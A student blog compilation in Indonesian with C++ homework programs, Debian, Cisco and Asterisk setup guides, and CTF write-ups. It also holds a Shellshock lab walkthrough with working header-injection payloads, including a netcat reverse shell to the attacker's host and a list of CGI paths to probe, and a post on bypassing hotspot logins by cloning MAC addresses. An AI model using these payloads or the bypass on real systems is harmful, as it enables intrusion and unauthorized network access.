Algoritma Selection Sorting C++

Tugas Besar Algoritma Sorting ST3 TELKOM PURWOKERTO

Anggota Kelompok
Bayu Rahmawan ( 14102012 )
Faisal Yudo Hernawan ( 14102019 )
Moh. Fajar Faisaldy ( 14102027 )




Kami menggunakan algoritma sorting selection untuk mengurutkan suatu angka yang acak.

Source Code :
#include <iostream>
#include <iomanip>
#include <conio.h>
using namespace std;
int data[100],data2[100];
int n;
void tukar(int a, int b)
{
    int temp;
    temp = data[b];
    data[b] = data[a];
    data[a] = temp;
}
void selection()
{
    int pos,i,j;
    for (i=1; i<=n-1; i++)
    {
        pos = i;
        for (j= i+1; j<=n; j++)
        {
            if(data[j] < data[pos])
            pos = j;
        }
            if(pos != i)
            tukar(pos,i);
    }
}
int main()
{
    cout << "#Program Sorting Dengan Selection#\n";
    cout << "==================================\n";
    cout << "#   Bayu Rahmawan     14102012   #\n";
    cout << "#   Faisal Yudo H     14102019   #\n";
    cout << "#   Moh. Fajar F      14102027   #\n";
    cout << "==================================\n";
    cout << "Masukan Jumlah Data : ";
    cin >> n;
    cout << endl;
    for (int acak=1; acak<=n; acak++)
    {
        cout << "Masukan Data Ke-" << acak << " : ";
        cin >> data[acak];
        data2[acak] = data[acak];
    }
selection();
cout << endl;
cout << "Data Setelah di Sort : ";
    for (int urut = 1; urut<=n; urut++)
    {
        cout << " " << data[urut];
    }
}

Screnshoot :


Pembahasan Tulisan :
  1. Dengan menggunakan Selection sorting, data paling minimum dimaksukan kedalam tmp .
  2.  Kemudian membandingkan antara tmp dengan data selanjutnya,
  3. Jika data selanjutnya lebih kecil dari tmp maka data tersebut berpindah ke tmp.
  4. Proses itu dilakukan sampai data terakhir.
  5. Kemudian data pada tmp ditukar dengan data yang paling kiri
Pembahasan Gambar :

Pembahasan Video :





Related Posts:

Repository Lokal Debian 7 Wheezy

Reposistory Debian 7 Wheezy

nano /etc/apt/source.list
deb http://kambing.ui.ac.id/debian/ wheezy main contrib non-free
deb http://kambing.ui.ac.id/debian/ wheezy-updates main contrib non-free
deb http://kambing.ui.ac.id/debian-security/ wheezy/updates main contrib non-free

Related Posts:

Konfigurasi IP Address Router Cisco

Cara konfigurasi ip address pada router cisco mode CLI
1. Masuk ke EXEC mode dengan cara ketik enable, tanda sudah masuk EXEC mode adalah berubahnya tanda > menjadi #
Router>enable
Router#
2. Kemudian ketikan configure terminal
Router#configure terminal 
Enter configuration commands, one per line.  End with CNTL/Z
3. Atur interface yang akan disetting ip address dan netmasknya, contohnya interface serial 2/0, maka perintahnya adalah
interface Serial 2/0
Router(config)#interface Serial 2/0
4. Masukan ip address dan netmask yang ingin kamu pakai, dengan perintah
ip address 192.168.10.2 255.255.255.0
Router(config-if)#ip address 192.168.10.2 255.255.255.0
5. Kemudian masukan clock rate nya , dengan cara
clock rate 56000
Router(config-if)#clock rate 56000
6. Kemudian nyalakan interface dengan perintah
no shutdown
Router(config-if)#no shutdown 
%LINK-5-CHANGED: Interface Serial2/0, changed state to down
Router(config-if)#
%LINK-5-CHANGED: Interface Serial2/0, changed state to up

7. Kemudian ketikan exit untuk keluar dari interface dan ketikan exit lagi untuk keluar dari configure terminal
%SYS-5-CONFIG_I: Configured from console by console
8. Untuk melihat settingan ip address yang sudah kita setting tadi, ketikan show ip interface brief
Router#show ip interface brief 
Interface              IP-Address      OK? Method Status                Protocol

FastEthernet0/0        unassigned      YES unset  administratively down down

FastEthernet1/0        unassigned      YES unset  administratively down down

Serial2/0              192.168.10.2    YES manual up                    up

Serial3/0              unassigned      YES unset  administratively down down

FastEthernet4/0        unassigned      YES unset  administratively down down

FastEthernet5/0        unassigned      YES unset  administratively down down

Lihat Serial2/0,  IP Address sudah tersetting dan status UP.
9. Untuk menyimpan konfigurasi ketikan , copy running-config startup-config
Router#copy  running-config startup-config 
Destination filename [startup-config]? 
Building configuration...
[OK]

Related Posts:

Konfigurasi Static Routing Pada Router Cisco

Static routing adalah di mana seorang administrator melakukan routing secara manual. Mendefenisikan setiap network yang akan dihubungkan pada router-router yang akan digunakan.

Topologi adalah sebagai berikut

Langkah-Langkah :

Konfigurasi IP Address pada Router Solo :
Router>enable
Router#configure terminal
Router(config)#hostname Solo
Solo(config)#interface fastEthernet 0/0
Solo(config-if)#description TO-LAN
Solo(config-if)#ip address 192.168.2.1 255.255.255.224
Solo(config-if)#no shutdown
Solo(config-if)#exit
Solo(config)#interface Serial 2/0
Solo(config-if)#description TO-Purwokerto
Solo(config-if)#ip address 10.10.10.1 255.255.255.0
Solo(config-if)#clock rate 64000
Solo(config-if)#no shutdown
Solo(config-if)#exit
Solo(config)#exit
Solo#copy running-config startup-config

Static Routing pada Router Solo

Solo>enable
Solo#configure terminal
Solo(config)#ip route 11.11.11.0 255.255.255.0 Serial 2/0
Solo(config)#ip route 192.168.1.0 255.255.255.224 Serial 2/0

Penjelasan:

Solo(config)#ip route 11.11.11.0 255.255.255.0 Serial 2/0
Routing di atas digunakan agar:

    Router Solo bisa berkomunikasi dengan Router Purwokerto.
    Router Solo bisa berkomunikasi dengan LAN Purwokerto.
    Router Purwokerto bisa berkomunikasi dengan LAN Solo.
    LAN Solo bisa berkomunikasi dengan LAN Purwokerto.

Konfigurasi IP Address pada Router Purwokerto :
Router>enable
Router#configure terminal
Router(config)#hostname Purwokerto
Purwokerto(config)#interface fastEthernet 0/0
Purwokerto(config-if)#description TO-LAN
Purwokerto(config-if)#ip address 192.168.1.1 255.255.255.224
Purwokerto(config-if)#no shutdown
Purwokerto(config-if)#exit
Purwokerto(config)#interface Serial 2/0
Purwokerto(config-if)#description Solo
Purwokerto(config-if)#ip address 11.11.11.1 255.255.255.0
Purwokerto(config-if)#clock rate 64000
Purwokerto(config-if)#no shutdown
Purwokerto(config-if)#exit
Purwokerto(config)#exit
Purwokerto#copy running-config startup-config

Static Routing pada Router Purwokerto

Purwokerto>enable
Purwokerto#configure terminal
Purwokerto(config)#ip route 10.10.10.0 255.255.255.0 Serial 2/0
Purwokerto(config)#ip route 192.168.2.0 255.255.255.224 Serial 2/0

Penjelasan:

Solo(config)#ip route 11.11.11.0 255.255.255.0 Serial 2/0
Routing di atas digunakan agar:

    Router Solo bisa berkomunikasi dengan Router Purwokerto.
    Router Solo bisa berkomunikasi dengan LAN Purwokerto.
    Router Purwokerto bisa berkomunikasi dengan LAN Solo.
    LAN Solo bisa berkomunikasi dengan LAN Purwokerto.

Pengujian :

Lakukan ping dari Router Solo ke Router Purwokerto
Lakukan ping dari LAN Solo ke Router Purwokerto
Lakukan ping dari LAN Solo ke LAN Purwokerto
Lakukan ping dari LAN Purwokerto ke Router Solo
Lakukan ping dari LAN Purwokerto ke LAN Solo

Related Posts:

Letak Cache Package Debian

Ketika anda melakukan installasasi package / aplikasi pada Debian menggukanan perintah apt-get install , maka akan otomatis ngechache disystem. Lalu dimana letaknya package .deb itu ? Letaknya ada di /var/cache/apt/archives/. Ketika anda butuh package master/mentahannya ,tinggal ambil di dir itu.

Related Posts:

Setup VOIP ( Voice Over Internet Protocol ) On Debian

VOIP adalah suatu teknologi yang memungkinkan percakapan suara melalui media internet atau berbasis IP (Internet Protocol), konsep kerja VOIP adalah dengan merubah paket suara menjadi kode digital dan disalurkan ke dalam paket-paket data secara real time.

Installasi dan Konfigurasi
1. Installasi asterisk dengan perintah
apt-get install asterisk -y
2. Konfigurasi pada /etc/asterisk/sip.conf dengan perintah
nano  /etc/asterisk/sip.conf
Tambahkan Script ini dan letakan dipaling bawah, kemudian simpan.
[1001]
callerid=faisal
type=friend
context=public
username=1001
secret=1001
host=dynamic
allow=all
[1002]
callerid=yudo
type=friend
context=public
username=1002
secret=1002
host=dynamic
allow=all
[1003]
callerid=hernawan
type=friend
context=public
username=1003
secret=1003
host=dynamic
allow=all

3. Konfigurasi /etc/asterisk/extensions.conf dengan cara
nano /etc/asterisk/extensions.conf
Tambahkan script dibawah ini dan letakan dipaling bawah
[public]
exten => 1001,1,Dial(SIP/1001)
exten => 1001,2,Hangup
exten => 1001,3,Hangup
[public]
exten => 1002,1,Dial(SIP/1002)
exten => 1002,2,Hangup
exten => 1002,3,Hangup
[public]
exten => 1003,1,Dial(SIP/1003)
exten => 1003,2,Hangup
exten => 1003,3,Hangup

4. Untuk client android, saya menggunakan Zoiper sebagai aplikasinya
Ini adalah konfigurasi dari kedua cliant yang menggunakan zoiper sebagai aplikasinya



5. Coba lakukan dial dan kalau ada panggilan berarti VOIP sukses


Related Posts:

Write Up CTF SECCON 2014 ONLINE QUALS Easy Chiper ( 100 )

Pada tantangan kali ini peserta dikasih decimal, hexa, octal dan binary, kemudian diminta decode.

87 101 108 1100011 0157 6d 0145 040 116 0157 100000 0164 104 1100101 32 0123 69 67 0103 1001111 1001110 040 062 060 49 064 100000 0157 110 6c 0151 1101110 101 040 0103 1010100 70 101110 0124 1101000 101 100000 1010011 1000101 67 0103 4f 4e 100000 105 1110011 040 116 1101000 0145 040 1100010 0151 103 103 0145 1110011 0164 100000 1101000 0141 99 6b 1100101 0162 32 0143 111 1101110 1110100 101 0163 0164 040 0151 0156 040 74 0141 1110000 1100001 0156 056 4f 0157 0160 115 44 040 0171 1101111 117 100000 1110111 0141 0156 1110100 32 0164 6f 32 6b 1101110 1101111 1110111 100000 0164 1101000 0145 040 0146 6c 97 1100111 2c 100000 0144 111 110 100111 116 100000 1111001 6f 117 63 0110 1100101 0162 0145 100000 1111001 111 117 100000 97 114 0145 46 1010011 0105 0103 67 79 1001110 123 87 110011 110001 67 110000 1001101 32 55 060 100000 110111 0110 110011 32 53 51 0103 0103 060 0116 040 5a 0117 73 0101 7d 1001000 0141 1110110 1100101 100000 102 0165 0156 33

Hasilnya adalah 

Welcome to the SECCON 2014 online CTF.The SECCON is the biggest hacker contest in Japan.Oops, you want to know the flag, don't you?Here you are.SECCON{W31C0M 70 7H3 53CC0N ZOIA}Have fun!

FLAG : SECCON{W31C0M 70 7H3 53CC0N ZOIA}

Related Posts:

Write Up CTF SECCON 2014 ONLINE QUALS Web Rea-Juu Watch ( 200 )

1. Pada kali ini peserta dimintai mencari suatu username dan password yang tepat untuk mendapatkan flagnya, disini saya mendapatkan user dan passwordnya pada dictionary /users/chk/1
2. Login dengan username rea-juu dan password way_t0_f1ag, kemudian bermain-main sebentar dan hasilnya mendapatkan flagnya.



FLAG : SECCON{REA_JUU_Ji8A_NYAN}

Related Posts:

Write Up CTF SECCON 2014 ONLINE QUALS Forensic Get The Key.txt ( 100 )

Pada tahap ini peserta diminta untuk mencari file key.txt yang disembunyikan pada suatu file system, untuk melihat lebih detailnya , lihat screenshoot dibawah ini


root@MasIcal:~/Downloads# unzip forensic100.zip 
Archive:  forensic100.zip
  inflating: forensic100             
root@MasIcal:~/Downloads# file forensic100
forensic100: Linux rev 1.0 ext2 filesystem data, UUID=0b92a753-7ec9-4b20-8c0b-79c1fa140869
root@MasIcal:~/Downloads# mkdir /tmp/secconforensic
root@MasIcal:~/Downloads# mount -o loop forensic100 /tmp/secconforensic/
root@MasIcal:~/Downloads# cd /tmp/secconforensic/  
root@MasIcal:/tmp/secconforensic# grep -r 'key.txt'
Binary file 1 matches
root@MasIcal:/tmp/secconforensic# file 1
1: gzip compressed data, was "key.txt", from Unix, last modified: Wed Oct  1 13:00:52 2014
root@MasIcal:/tmp/secconforensic# gunzip < 1
SECCON{@]NL7n+-s75FrET]vU=7Z}

FLAG : SECCON{@]NL7n+-s75FrET]vU=7Z}

Related Posts:

Write Up CTF SECCON 2014 ONLINE QUALS Binary Shuffle ( 100 )

1. Pada tantangan kali ini peserta mendapatkan file binary ELF Shuffle, dimana ketika dieksekusi menghasilkan output yang acak.
2. Melakukan analisa dengan gdb ,pada mov address 0x0804854b sampai 0x080486aa terdapat seuatu ,saya curiga hexadecimal ini akan mengghasilkan sesuatu.


0x53, 0x45, 0x43, 0x43, 0x4f, 0x4e, 0x7b, 0x57, 0x65, 0x6c, 0x63, 0x6f, 0x6d, 0x65, 0x20, 0x74, 0x6f, 0x20, 0x74, 0x68, 0x65, 0x20, 0x53, 0x45, 0x43, 0x43, 0x4f, 0x4e, 0x20, 0x32, 0x30, 0x31, 0x34, 0x20, 0x43, 0x54, 0x46, 0x21, 0x7d, 0x0
3. Melakukan decode hexadecimal ke string


FLAG : SECCON{Welcome to the SECCON 2014 CTF!}

Related Posts:

Write Up CTF SECCON 2014 ONLINE QUALS Network Get The Key ( 100 )

1. Pada tantangan ini peserta dikasih file pcap, dimana file tersebut adalah hasil capture dari wireshark.
2. Setelah mendownload file tadi, melakukan pengecekan dengan strings dan mengamati baris-perbaris
root@MasIcal:~/Downloads# strings nw100.pcap
3. Saya mendapatkan sesuatu yang saya curigai ,yaitu
GET /nw100/ HTTP/1.1
Host: 133.242.224.21:6809
Authorization: Basic c2VjY29uMjAxNDpZb3VyQmF0dGxlRmllbGQ=



4. Melakukan decode pada base64 decode c2VjY29uMjAxNDpZb3VyQmF0dGxlRmllbGQ=



5. Menghasilkan seccon2014:YourBattleField. Kemudian, mengakses 133.242.224.21:6809/nw100/ 
Kemudian menginputkan username:seccon2014 dan password:YourBattleField.

FLAG : SECCON{Basic_NW_Challenge_Done!}


Related Posts:

Fungsi Find, Replace, Subtitusi C++

Source Code :
#include <iostream>
#include <string>
#include <iomanip>
using namespace std;
int main()
{
  string curhat="Aku_cinta kamu Tapi sayang kamu lebih mencintai dia, sakitnya tuh disini\n";
  string str = curhat;
  size_t pos = str.find("sakit"); // find
  string str2 = str.substr (pos); // substitusi
  str2.replace(15,1,curhat,36,1); // replace
  str2.replace(16,1,curhat,0,1);
  str2.replace(17,1,curhat,15,1);
  str2.replace(18,1,curhat,49,1);
  str2.replace(8,1,curhat,3,1);
  str2.replace(12,1,curhat,3,1);
  cout << str2;
}


Related Posts:

Bypass Login Hotspot ( MAC Address Filtering )

Biasanya login hotspot diterapkan pada campus, sekolah atau cafe, membutuhkan username dan password untuk bisa akses internet, lalu bagaimana caranya agar bisa berinternet walau tidak punya akun tersebut ? Kiita perlu cloding mac address client yang aktiif ,ibaratnya nebeng MAC Address walau IP berbeda. Simak Videonya dibawah ini


Related Posts:

Convert Decimal ke String menggunakan C++

Code C++
#include <iostream>
#include <stdio.h>
using namespace std;
int main()
{
    int n[50]={104,116,116,112,115,58,47,47,119,119,119,46,100,114,111,112,98,111,120,46,99,111,109,47,115,47,48,98,116,122,110,51,115,120,101,99,101,102,51,117,98,47,70,108,97,103,46,116,120,116};
    for (int i=0; i<50; i++)
    cout << static_cast<char>(n[i]);
}



Related Posts:

Membuat Kalkulator dengan Void

Code C++
#include <iostream>
using namespace std;
void kalkulator(int &kali, int &jml, int &krng, int &bagi, int a, int b)
{
kali = a*b;
jml = a+b;
krng = a-b;
bagi = a/b;
}
main()
{
int pertama,kedua,hasilkali,hasiljml,hasilkrng,hasilbagi,pilih;
cout << "Bilangan 1 = ";
cin >> pertama;
cout << "Bilangan 2 = ";
cin >> kedua;
cout << "1. Perkalian\n";
cout << "2. Penjumlahan\n";
cout << "3. Pengurangan\n";
cout << "4. Pembagian\n";
cout << "Pilih 1,2,3 dan 4\n";
cin >> pilih;
kalkulator(hasilkali,hasiljml,hasilkrng,hasilbagi,pertama,kedua);
if ( pilih == 1)
{
        cout << "Hasil Perkaliannya adalah = " << hasilkali;
}
else if ( pilih == 2)
{
    cout << "Hasil Penjumlahan adalah = " << hasiljml;
}
else if ( pilih == 3)
{
    cout << "Hasil Pengurangannya adalah = " << hasilkrng;
}
else if ( pilih == 4)
{
    cout << "Hasil Pembagiannya adalah = " <<hasilbagi;
}
else
{
    cout << "Error";
}
}


Related Posts:

Faktorial dengan Recursive C++

Code C++
#include <iostream>
#include <iomanip>
using namespace std;
unsigned long factorial ( unsigned long );
int main()
{
    for ( int i = 0; i <= 10; i++)
        cout << setw(2) << i << " !=  " << factorial( i ) << endl;
    return 0;
}
unsigned long factorial(unsigned long number)
{
    if(number <= 1)
        return 1;
    else
        return number * factorial( number - 1);
}

Related Posts:

Exploitasi Shellshock

1. Untuk melakukan pengujian shellshock secara legal, download ISO dari Pentesterlab dimana di ISO tersebut memiliki kerentanan yaitu Shellshock. Download disini CVE-2014-6271 vulnerable VM
2. Setelah didownload, buka menggunakan VMware, kemudian setting IP dan Netmasknya.
Contoh : ifconfig eth0 172.16.208.20 netmask 255.255.255.0
3. Setelah itu ,akses IP tadi dari sisi client / Attacker.

4. Mengakses cgi-bin ,dimana shellshock bisa dieksploitasi dari sisi webserver apabila web tersebut memiliki cgi-bin yang aktif. Untuk dork cgi-bin bisa gunakanan ini :
/cgi-sys/entropysearch.cgi
/cgi-sys/FormMail-clone.cgi
/xul/
/cgi-bin/status
/tmUnblock.cgi
/gitweb/
/gitweb.cgi
/gitweb/gitweb.cgi
/cgi-bin/
/cgi-bin/php
/cgi-bin/php5
/cgi-bin/php4
/cgi-bin/php-cgi
/cgi-bin/php.cgi
/cgi-bin/firmwarecfg
/cgi-bin/%2f/admin.html
/cgi-bin/admin.html
/cgi-bin/test-cgi
/sys-cgi
/dana-na/auth/url_default/welcome.cgi
/cgi-bin/tree.php
/cgi-bin/ICuGI/EST/blast_detail.cgi
/cgi-bin/hello
/cgi-sys/defaultwebpage.cgi
/cgi-bin/w3mman2html.cgi
/cgi-bin/status/status.cgi
5. Untuk menguji apakah target vulner terhadap shellsock, saya mencoba dengan menerapkan firewall log icmp ,agar ketika saya melakukan injeksi dengan perintah ping dapat terlog oleh system saya.
6. Buka Live Http header ( Add Ons Mozilla Firefox )
7. Pada bagian User-Agent saya ganti dengan injeksi shellshock, berikut injeksinya
() { :;}; /bin/bash -c “ping 172.16.208.2” IP 172.16.208.2 adalah IP Laptop saya. Kemudian Klick Replay pada Live HTTP Headernya.
8. Melakukan cek log apakah ada protocol icmp ( ping ) yang masuk , tail -f /var/log/messages
9. Saya mendapatkan log dimana SRC 172.16.208.20 dengan DST 172.16.208.2 berhubungan melalui protocol ICMP. Dengan begini, berarti injeksi tadi berhasil dan system target mempunyai vulner shellshock.

10. Mencoba melakukan BACK-CONNECT dengan NC untuk mendapatkan akses Shell.
11. Saya membuat listening terlebih dahulu menggunakan NC.
12. Kemudian kembali ke Live HTTP Header dan masukan injeksi ini :

() { :;}; /bin/bash -c “nc 172.16.208.2 4444 –e /bin/bash -i”
Kemudian klick replay.
13. Dan ,saya mendapatkan akses shell lewat NC.
14. Untuk mendapatkan akses root, kita bisa melakukannya dengan local root exploit.


Related Posts:

Membuat Deret Fibonanci dengan Recursive C++

Code C++
#include <iostream>
using namespace std;
int f(unsigned int x)
{
    if(x <= 1) return 1;
    else return f(x-1)+f(x-2);
}

int main()
{
    int total=0;
    int input;
    cout << "Masukan batas akhir fibonanci : ";
    cin >> input;
    for(int i = 0; i <= input - 1 ; i++)
    {
    cout << f(i) << " ";
    total = total+f(i);
    }
     cout << "\nJumlah Semuanya : " << total << endl;
    return 0;

}

Related Posts:

ADB Shell Android di Linux

1. Centang Adb Debugging On pada Android Settings.
2. Adb Tools download disini.
3. Ekstrak tool yang didownload tadi
4. Sambungkan android dengan USB.Kemudian ketikan lsub ,dan cari device anda. Disini saya menggunakan Lenovo maka serial key nya adalah 7641
5. Buat file 70-android.rules pada /etc/udev/rules.d/ dengan cara nano /etc/udev/rules.d/70-android.rules kemudian isikan ini

SUBSYSTEM=="usb",ATTRS(idVendor)=="7641",SYMLINK+="android_adb",MODE="0666" SUBSYSTEM=="USB",SYSFS=={idVendor}=="7641",mode="0666" SUBSYSTEM=="usb", ACTION=="add", SYSFS{idVendor}=="7641", SYSFS{idProduct}=="adde", MODE="0777" SUBSYSTEM=="usb", ACTION=="add", SYSFS{idVendor}=="7641", SYSFS{idProduct}=="0dde", MODE="0777"

Note : 7641 diganti dengan serial handphone anda masing-masing.
6. Berikan chmod pada file tersebut
chmod a+rx /etc/udev/rules.d/70-android.rules
7. Reboot linux.
8. Pergi ke direktory tools yang didownload tadi cd /adb/platform-tools/ . Kemudian ketikan ./adb shell

Related Posts:

Write Up CTF IDSECCONF 2014 ONLINE ( Easy Crypto )

Soal :
Decode ini bro :
VGlkYWsgc2VnYW1wYW5nIGl0dWxhaCBtYXMgYnJvLiBk
ZWNyeXB0IGluaTogDQo2ODc0NzQ3MDNhMmYyZjY0Nm
MyZTY0NzI2ZjcwNjI2Zjc4MmU2MzZmNmQyZjczMmYzMj
M0NjkzMTZiNzEzNjc5NjM2ZjZmNjg3MTZhNmMyZjYzNz
I3OTcwNzQ2ZjMxNDY2YzYxNjcyZTZkNzAzMw==
Jawab :
1. Ciri-ciri encode base64 ,saya lakukan decode dengan base64decode.

2. Mendapatkan hasil Tidak segampang itulah mas bro, decrypt ini
Enkripsi diatas adalah cirri-ciri hexadecimal, saya lakukan decrypt
hexadecimal tersebut
3. Saya mendapatkan hasil dimana saya diminta mendownload file
crypto1flag.mp3. Saya mendapkan informasi kalau file mp3 tersebut mengandung
morse code.
4. Melakukan pengecekan dengan audacity dan benar dugaan saya kalau file tersebut terdapat mengandung morse code.
..-. ..- -. -- ----- .-. … …-- -.-. ----- -.. …--
5. Melakukan decode morse encode menggunakan tool, dan saya mendapatkan FUNMORS3COD3.
6. Tapi ketika saya submit katanya flag masih salah dan akhirnya saya rubah menjadi huruf kecil semua menjadi funmors3cod3, dan ketika disubmit ternnyata benar
Flag : funmors3cod3

Related Posts:

Write Up CTF IDSECCONF 2014 ONLINE ( Easy Forensic )

Soal :
Carilah sesuatu yang tersembunyi pada file PDF ini.
Jawab :
1. Kita mencari tau info tentang file pdf diatas dengan tool pdfinfo


2. Ternyata file PDF ini convertan dari Word, saya mencoba mengconver file pdf ke format txt menggunakan tool pdf2txt.

3, Dan saya mendapatkan flagnya yaitu r_the_wraith_king_arghh

Related Posts: